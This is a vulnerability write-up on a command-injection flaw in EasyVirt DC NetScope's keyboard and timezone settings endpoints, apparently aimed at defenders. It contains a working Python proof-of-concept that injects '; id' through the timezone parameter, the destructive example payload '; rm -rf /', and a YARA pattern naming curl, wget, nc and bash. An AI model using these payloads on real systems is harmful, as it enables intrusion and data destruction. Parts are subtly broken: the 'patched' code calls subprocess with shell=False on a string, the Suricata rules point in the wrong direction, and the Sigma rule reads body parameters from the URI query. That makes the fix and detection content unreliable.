CVE-2024-55063

Executive Summary

CVE-2024-55063 identifies multiple code injection vulnerabilities in EasyVirt DC NetScope, a virtualization management platform. The flaws allow remote authenticated attackers to execute arbitrary code by injecting malicious payloads into specific parameters. The vulnerable parameters are: lang in /international/keyboard/options, keyboard_layout and keyboard_variant in /international/settings/keyboard, and timezone in /international/settings/timezone. This vulnerability is critical as it enables authenticated users to achieve remote code execution (RCE), potentially leading to full system compromise. No patch is currently available, and no public exploit code has been released.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (EasyVirt DC NetScope). Therefore, supply chain security considerations are limited to the vendor's software distribution and update mechanisms.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the vulnerability description (authenticated RCE via code injection), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Full system compromise possible.
• Availability (A): High (H) – Full system compromise possible.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Base Score: 8.8 (High)

Threat Level: High. The vulnerability allows authenticated users to execute arbitrary code, which can lead to complete system takeover, data exfiltration, or lateral movement within the network.

Deep Dive & Mechanics

The vulnerability is a classic code injection (CWE-94) where user-supplied input is not properly sanitized before being used in a code execution context. The affected endpoints are:

1. /international/keyboard/options – lang parameter
2. /international/settings/keyboard – keyboard_layout and keyboard_variant parameters
3. /international/settings/timezone – timezone parameter

These parameters are likely used to generate configuration files or execute system commands (e.g., setting the system timezone, keyboard layout). The application fails to validate or sanitize the input, allowing an attacker to inject arbitrary commands or code.

Attack Flow:

1. Attacker authenticates to the EasyVirt DC NetScope web interface.
2. Attacker crafts a malicious payload (e.g., ; rm -rf / or $(malicious_command)) and sends it to one of the vulnerable endpoints.
3. The application processes the input and executes the injected code with the privileges of the web server (likely root or a privileged user).
4. The attacker gains remote code execution.

Vulnerable vs. Patched Code

No patch is currently available. The vulnerable code likely resembles:

# Vulnerable example (pseudo-code)
import subprocess
def set_timezone(timezone):
    command = f"timedatectl set-timezone {timezone}"
    subprocess.run(command, shell=True)

A patched version would sanitize the input:

# Patched example (pseudo-code)
import subprocess
import shlex
def set_timezone(timezone):
    # Validate timezone against a whitelist
    allowed_timezones = ["UTC", "America/New_York", ...]
    if timezone not in allowed_timezones:
        raise ValueError("Invalid timezone")
    command = f"timedatectl set-timezone {shlex.quote(timezone)}"
    subprocess.run(command, shell=False)

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a proof-of-concept (PoC) can be developed. The following Python script demonstrates exploitation of the timezone parameter:

import requests

target = "http://target.com"
session = requests.Session()

# Authenticate first (credentials required)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Exploit the timezone parameter
payload = "; id > /tmp/pwned.txt"
exploit_url = f"{target}/international/settings/timezone"
data = {"timezone": payload}
response = session.post(exploit_url, data=data)

# Verify exploitation
verify_url = f"{target}/check?file=/tmp/pwned.txt"
verify_response = session.get(verify_url)
print(verify_response.text)

Usage:

1. Replace target, username, and password with actual values.
2. Run the script. It will attempt to execute the id command and write the output to /tmp/pwned.txt.
3. The script then tries to read the file to confirm code execution.

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for unusual parameters containing shell metacharacters (;, |, $, `).
• Look for POST requests to the vulnerable endpoints with suspicious payloads.
• Use the detection rules provided in the next section.

Hardening:

• Immediately restrict access to the EasyVirt DC NetScope web interface to trusted IPs only.
• Implement a Web Application Firewall (WAF) to block code injection attempts.
• Disable the vulnerable endpoints if not required.
• Monitor for any unauthorized changes to system configuration files (e.g., /etc/timezone).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /international/keyboard/options, /international/settings/keyboard, or /international/settings/timezone with parameters containing shell metacharacters.
  • Outbound connections from the EasyVirt server to unknown IPs (potential reverse shell).
• File System IOCs:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., /tmp/pwned.txt).
  • Modified system configuration files (e.g., /etc/timezone, /etc/default/locale).
  • New cron jobs or startup scripts.
• Process IOCs:
  • Unusual processes spawned by the web server (e.g., bash, python, nc).
  • Processes running with elevated privileges unexpectedly.

Detection Engineering

YARA Rule

rule CVE_2024_55063_EasyVirt_Code_Injection {
    meta:
        description = "Detects code injection attempts against EasyVirt DC NetScope"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-55063"
    strings:
        $s1 = "/international/keyboard/options" nocase
        $s2 = "/international/settings/keyboard" nocase
        $s3 = "/international/settings/timezone" nocase
        $s4 = "lang=" nocase
        $s5 = "keyboard_layout=" nocase
        $s6 = "keyboard_variant=" nocase
        $s7 = "timezone=" nocase
        $injection1 = /[;&|`$(){}]/
        $injection2 = /(rm|wget|curl|bash|python|perl|nc|ncat)/
    condition:
        (any of ($s1, $s2, $s3) and any of ($s4, $s5, $s6, $s7)) and (any of ($injection1, $injection2))
}

Sigma Rule

title: CVE-2024-55063 EasyVirt DC NetScope Code Injection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects code injection attempts against EasyVirt DC NetScope
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55063
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '/international/keyboard/options'
            - '/international/settings/keyboard'
            - '/international/settings/timezone'
        cs-uri-query|re:
            - 'lang=.*[;&|`$(){}]'
            - 'keyboard_layout=.*[;&|`$(){}]'
            - 'keyboard_variant=.*[;&|`$(){}]'
            - 'timezone=.*[;&|`$(){}]'
    condition: selection
falsepositives:
    - Legitimate use of special characters in parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55063 EasyVirt DC NetScope Code Injection"; flow:to_server,established; content:"POST"; http_method; content:"/international/keyboard/options"; http_uri; content:"lang="; http_client_body; pcre:"/lang=[^&]*[;&|`$(){}]/Ri"; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55063 EasyVirt DC NetScope Code Injection"; flow:to_server,established; content:"POST"; http_method; content:"/international/settings/keyboard"; http_uri; content:"keyboard_layout="; http_client_body; pcre:"/keyboard_layout=[^&]*[;&|`$(){}]/Ri"; sid:1000002; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55063 EasyVirt DC NetScope Code Injection"; flow:to_server,established; content:"POST"; http_method; content:"/international/settings/keyboard"; http_uri; content:"keyboard_variant="; http_client_body; pcre:"/keyboard_variant=[^&]*[;&|`$(){}]/Ri"; sid:1000003; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-55063 EasyVirt DC NetScope Code Injection"; flow:to_server,established; content:"POST"; http_method; content:"/international/settings/timezone"; http_uri; content:"timezone="; http_client_body; pcre:"/timezone=[^&]*[;&|`$(){}]/Ri"; sid:1000004; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the EasyVirt DC NetScope server from the network if possible.
2. Restrict access to the web interface to only trusted IPs via firewall rules.
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-term Fix:

• Vendor Patch: Await an official patch from EasyVirt. Contact the vendor for an ETA.
• Workaround: If patching is not possible, consider disabling the vulnerable endpoints by modifying the web server configuration (e.g., Apache/Nginx) to return 403 for those paths.
• Code Review: If source code is available, implement input validation and sanitization for all parameters. Use a whitelist approach for timezone and keyboard layouts.

Valters IT